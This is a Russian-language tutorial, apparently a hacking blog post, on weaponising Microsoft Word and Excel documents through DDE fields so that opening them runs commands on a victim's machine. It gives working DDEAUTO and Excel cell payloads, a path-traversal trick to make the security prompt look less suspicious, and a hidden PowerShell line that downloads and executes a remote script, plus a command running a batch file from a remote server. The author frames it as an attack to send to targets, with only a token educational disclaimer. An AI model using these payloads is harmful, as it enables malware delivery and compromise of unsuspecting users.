Встраиваем вирус в Microsoft Office

Встраиваем вирус в Microsoft Office

B1ACK_GARANT

Как можно встраивать разные вредоносные файлы в документы Microsoft Office.

Работать будем через одну безобидную штуку, которая не всегда обнаруживается с помощью антивирусов.

Как всегда, информация предоставлена исключительно в образовательных целях. Я не несу никакой ответственности.

Теория

Вставлять вредоносный код можно с помощью DDE. DDE – Microsoft Dynamic Data Exchange. Простыми словами, это поле, которые позволяет выполнить команду и запустить исполняемую программу.

Механизм взаимодействия приложений в операционных системах Microsoft Windows и OS/2. Хотя этот механизм до сих пор поддерживается в последних версиях Windows, в основном он заменён на более мощные механизмы — OLE, COM и Microsoft OLE Automation. Однако, DDE по-прежнему используется в некоторых местах внутри самой Windows, в частности, в механизме ассоциации расширения имени файла с приложениями. Это является следствием модели разработки, в которой Microsoft в новых версиях ОС Windows следит за обеспечением совместимости со всеми её предыдущими версиями. Возможно использование для извлечения данных из сторонних приложений.

Использовать DDE можно в Word и Excel в самых разнообразных вариациях. Довольно просто сделать такой файл, который потом нужен отправить жертве.

Как добавить поле DDE в Microsoft Word?

Для этого переходим в "Вставить"->"Быстрые элементы"->"Поле" (Можно использовать быструю комбинацию CTRL + F9):

Вставка поля DDE

Далее необходимо выбрать = (Formula):

Вставка поля DDE

После появления надписи "Ошибка в формуле" нужно нажать правой кнопкой мыши и выбрать "Коды/значение полей":

Вставка поля DDE

Если все сделали правильно, то должна появиться такая надпись как на скриншоте. В скобки можно вставлять команду на исполнение нашей программы:

Вставка поля DDE

После этого нужно изменить эту ссылку на нам необходимую, а сделать это можно с помощью такой команды:

{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }

Важно: необходимо перед атакой узнать, какую версию операционную системы использует наша цель. Это связано с тем, что Windows 10 64-бит имеет другой путь для командой строки (). Поэтому стоит учитывать это при формировании ссылки.

Вставка поля DDE

Попробуем протестировать и запустить. В моем случае команда использовалась на Windows XP с Microsoft Office 2010. Давайте детально рассмотрим запуск.

Шаг1: ничего особенного, документ спрашивает, возможно ли обновить данные, которые имеют связь с другими файлами. На этом шаге 95% обычных пользователях нажмут "да".

Открытие файла .docx

Шаг2: на этом шаге уже видно, что программу хочет запустить командную строку. Тот уже примерно 50% обычных юзеров могут что-то заподозрить, но в дальнейшем мы постараемся решить эту проблему.

Открытие файла .docx

Шаг3: после нажатия "Да", открывается калькулятор и выходит такая таблица. Понятно, что вместо калькулятора можно добавить другие команды, такие как скачивание например, рассмотрим немного ниже, как работать с другими вариациями команд.

Открытие файла .docx

Я думал над тем, как можно сделать мене незаметным второй шаг и я добился такого результата:

Этого удалось достигнуть с помощью такой команды:

{ DDEAUTO "c:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c calc.exe" }

Как добавить поле DDE в Microsoft Excel?

По похожему принципу добавляем такую команду в ячейку A1:

=cmd|'/c calc.exe'!A1

Важно: можно использовать команды в Word и Excel с параметром /c и /k. В первом случае(cmd /c просто выполняет программу, а cmd /k выполняет программу и возвращает в командную строку).

Далее сохраняем и начинаем тестировать.

Шаг1:

Запуск файла Microsoft Excel

Шаг2:

Запуск файла Microsoft Excel

Шаг 3:

Запуск файла Microsoft Excel

Как видим, калькулятор успешно запустился и мы справились с задачей.

Важно: учитывая тот факт, что cmd имеет ограничение на длину аргумента в размере 1024 байта, но с помощью Powershell можно расширить существенно этот диапазон. Таким образом, можно прописать загрузку скрипта и его исполнение внутри DDE.

Но самое интересное - это скачивать и обрабатывать команды, внутри DDE. Давайте рассмотрим несколько конкретных команд для этого:

=-2+3+cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\"http://address/script.ps1\");IEX $e'!_xlbgnm.A1

Если разобраться с логикой, то функция DownloadString через Powershell переходит по ссылке http://address/script.ps1 и обрабатывает скрипт. Очень важно, чтобы на компьютере нашей цели был установлен Powershell версии >=3.

С помощью этой команды можно запустить batch файл, который будет сгенерирован в powershell empire:

=cmd|’/c \\server.com\script.bat;IEX $e’!A1

Заключение

Я думаю идея понятная, каким образом можно добавить вредоносные программы в офисные документы. Хочу сказать, что при тестировании не на всех версиях удалось получить положительный результат. Это связано с выпуском обновлений и закрытием выполнения DDE в более новых версиях. Об этом можно почитать в этой новости.

Важно учитывать, что обновления касались только Microsoft Word, а в Excel и Outlook данная функция работает по умолчанию.

Report Page